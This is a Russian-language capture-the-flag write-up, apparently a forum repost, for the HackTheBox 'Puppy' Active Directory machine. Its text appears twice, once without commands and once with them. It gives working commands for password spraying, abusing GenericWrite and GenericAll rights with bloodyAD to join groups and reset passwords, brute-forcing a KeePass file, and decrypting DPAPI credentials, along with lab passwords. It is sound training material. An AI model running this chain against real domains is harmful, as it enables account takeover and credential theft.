stihl не предоставил(а) никакой дополнительной информации.
Сегодня на практическом примере разберем злоупотребление списками доступа в Active Directory. Получив контроль над аккаунтом пользователя, достанем учетные данные сначала из нового менеджера паролей KeePass, а затем из DPAPI — для доступа к RDP.
Наша цель — получение прав суперпользователя на машине Puppy с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — средний.
На этот раз, помимо IP-адреса, нам доступны учетные данные пользователя домена.
Информация о машине
Просканируем порты.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
или Зарегистрируйся.
Результат проверки учетных данных
Получаем имя контроллера домена, поэтому обновим запись в файле /etc/hosts.
Список пользователей
Ничего интересного не находим, но список пользователей в файл сохраняем. Теперь просмотрим список общих каталогов.
Список общих каталогов
На сервере расшарена папка DEV, но для ее просмотра у текущей учетной записи не хватает прав. Очевидных путей пока нет, поэтому соберем базу BloodHound.
или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора информации будем использовать коллектор Для просмотра ссылки Войдиили Зарегистрируйся.
Сбор данных BloodHound
Данные собрались очень быстро. Загружаем итоговый архив в BloodHound-CE и строим граф от пользователя levi.james.
Граф BloodHound
Пользователь levi.james состоит в группе HR, члены которой имеют право GenericWrite на группу DEVELOPERS. Это право позволяет нам добавлять объекты в целевую группу. Добавим в группу разработчиков себя и снова проверим доступ к общим каталогам.
Результат добавления в группу
Список общих каталогов
Теперь мы можем читать файлы в общем каталоге DEV.
Содержимое каталога DEV
В общей папке есть установочный файл KeePassXC, а также база данных KeePass. Скачаем файл с паролями и попробуем извлечь хеш для перебора утилитой keepass2john. Однако получаем ошибку: эта версия базы данных не годится.
Результат получения хеша
Воспользуемся скриптом Для просмотра ссылки Войдиили Зарегистрируйся для перебора пароля. Скрипт работает медленно, но пароль для базы находит, а также сразу извлекает все содержимое.
Содержимое базы данных
Полученные пароли сохраняем в файл и перебираем все сочетания логин:пароль.
Результат подбора учетных данных
Так получаем еще одного пользователя — ant.edwards — и перестраиваем граф от его узла.
Граф BloodHound
Пользователь ant.edwards состоит в группе SENIOR DEVS, члены которой имеют право GenericAll на учетную запись adam.silver. Так мы можем изменить пароль целевого пользователя.
Результат изменения пароля
Так как пользователь adam.silver состоит в группе REMOTE MANAGEMENT USERS, мы можем получить сессию через WinRM.
Флаг пользователя
Содержимое каталога Backups
Скачиваем архив C:\Backups\site-backup-2024-12-30.zip на свою машину, просматриваем содержащиеся в нем файлы. В файле nms-auth-config.xml.bak находим пароль пользователя steph.cooper.
Содержимое файла nms-auth-config.xml.bak
Как показывает NetExec, учетные данные валидны.
Проверка учетных данных
Поиск в BloodHound
В таком случае очень часто у одной учетной записи можно найти сохраненные учетные данные для другой, например для службы RDP. Подключимся по WinRM и проверим зашифрованные данные DPAPI.
Данные DPAPI
Так проверим наличие зашифрованных мастер‑ключей DPAPI.
Мастер‑ключи DPAPI
Скачиваем данные и мастер‑ключи для локальной расшифровки, ведь у нас есть пароль пользователя. Первым делом нужно расшифровать мастер‑ключ.
Получение мастер‑ключа
Теперь с полученным мастер‑ключом можно расшифровать блоб данных.
Сохраненные учетные данные
Проверим полученные учетные данные с помощью NetExec.
Результат валидации учетных данных
Учетные данные валидны, и к тому же учетная запись имеет административные права. Подключаемся по WinRM и забираем последний флаг.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Puppy с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.70 puppy.htb
На этот раз, помимо IP-адреса, нам доступны учетные данные пользователя домена.
Просканируем порты.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел 13 открытых портов:
- 88 — служба Kerberos;
- порты 111, 2049 — служба Network File System (NFS);
- 135 — Microsoft RPC;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM.
nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!'
Получаем имя контроллера домена, поэтому обновим запись в файле /etc/hosts.
10.10.11.70 puppy.htb DC.puppy.htb
Точка входа
Собираем информацию в домене. Первый шаг — получение списка пользователей. Иногда в описании учетных записей можно найти интересную информацию и даже пароли.nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --users
Ничего интересного не находим, но список пользователей в файл сохраняем. Теперь просмотрим список общих каталогов.
nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
На сервере расшарена папка DEV, но для ее просмотра у текущей учетной записи не хватает прав. Очевидных путей пока нет, поэтому соберем базу BloodHound.
Справка: BloodHound
Утилита Для просмотра ссылки ВойдиДля сбора информации будем использовать коллектор Для просмотра ссылки Войди
./rusthound-ce -i 10.10.11.70 -d PUPPY.HTB -u levi.james -p 'KingofAkron2025!' -c All -z
Данные собрались очень быстро. Загружаем итоговый архив в BloodHound-CE и строим граф от пользователя levi.james.
Пользователь levi.james состоит в группе HR, члены которой имеют право GenericWrite на группу DEVELOPERS. Это право позволяет нам добавлять объекты в целевую группу. Добавим в группу разработчиков себя и снова проверим доступ к общим каталогам.
bloodyAD -d PUPPY.HTB -u levi.james -p 'KingofAkron2025!' --host 10.10.11.70 add groupMember DEVELOPERS levi.james
nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
Теперь мы можем читать файлы в общем каталоге DEV.
Точка опоры
Подключаемся к общему каталогу DEV и просматриваем содержимое.smbclientng -d PUPPY.HTB -u levi.james -p 'KingofAkron2025!' --host 10.10.11.70
В общей папке есть установочный файл KeePassXC, а также база данных KeePass. Скачаем файл с паролями и попробуем извлечь хеш для перебора утилитой keepass2john. Однако получаем ошибку: эта версия базы данных не годится.
Воспользуемся скриптом Для просмотра ссылки Войди
python3 bfkeepass.py -d recovery.kdbx -w rockyou.txt -v -o
Полученные пароли сохраняем в файл и перебираем все сочетания логин:пароль.
nxc smb 10.10.11.70 -u users.txt -p pass.txt --continue-on-success
Так получаем еще одного пользователя — ant.edwards — и перестраиваем граф от его узла.
Пользователь ant.edwards состоит в группе SENIOR DEVS, члены которой имеют право GenericAll на учетную запись adam.silver. Так мы можем изменить пароль целевого пользователя.
bloodyAD -d PUPPY.HTB -u ant.edwards -p 'Antman2025!' --host 10.10.11.70 set password ADAM.SILVER '!Q@W3e4r56'
Так как пользователь adam.silver состоит в группе REMOTE MANAGEMENT USERS, мы можем получить сессию через WinRM.
evil-winrm -i 10.10.11.70 -u adam.silver -p [password]
Продвижение
На диске C находим каталог с бэкапами. У нас есть доступ на чтение, а в каталоге лежит резервная копия базы данных сайта.Скачиваем архив C:\Backups\site-backup-2024-12-30.zip на свою машину, просматриваем содержащиеся в нем файлы. В файле nms-auth-config.xml.bak находим пароль пользователя steph.cooper.
Как показывает NetExec, учетные данные валидны.
nxc smb 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!'
Локальное повышение привилегий
При поиске пути движения через BloodHound можно заметить, что у пользователя есть две учетные записи, одна из которых административная.В таком случае очень часто у одной учетной записи можно найти сохраненные учетные данные для другой, например для службы RDP. Подключимся по WinRM и проверим зашифрованные данные DPAPI.
Код:
evil-winrm -i 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!'
gci -Force C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Так проверим наличие зашифрованных мастер‑ключей DPAPI.
gci -Force C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Скачиваем данные и мастер‑ключи для локальной расшифровки, ведь у нас есть пароль пользователя. Первым делом нужно расшифровать мастер‑ключ.
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107
Теперь с полученным мастер‑ключом можно расшифровать блоб данных.
dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Проверим полученные учетные данные с помощью NetExec.
nxc smb 10.10.11.70 -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
Учетные данные валидны, и к тому же учетная запись имеет административные права. Подключаемся по WinRM и забираем последний флаг.
evil-winrm -i 10.10.11.70 -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
Машина захвачена!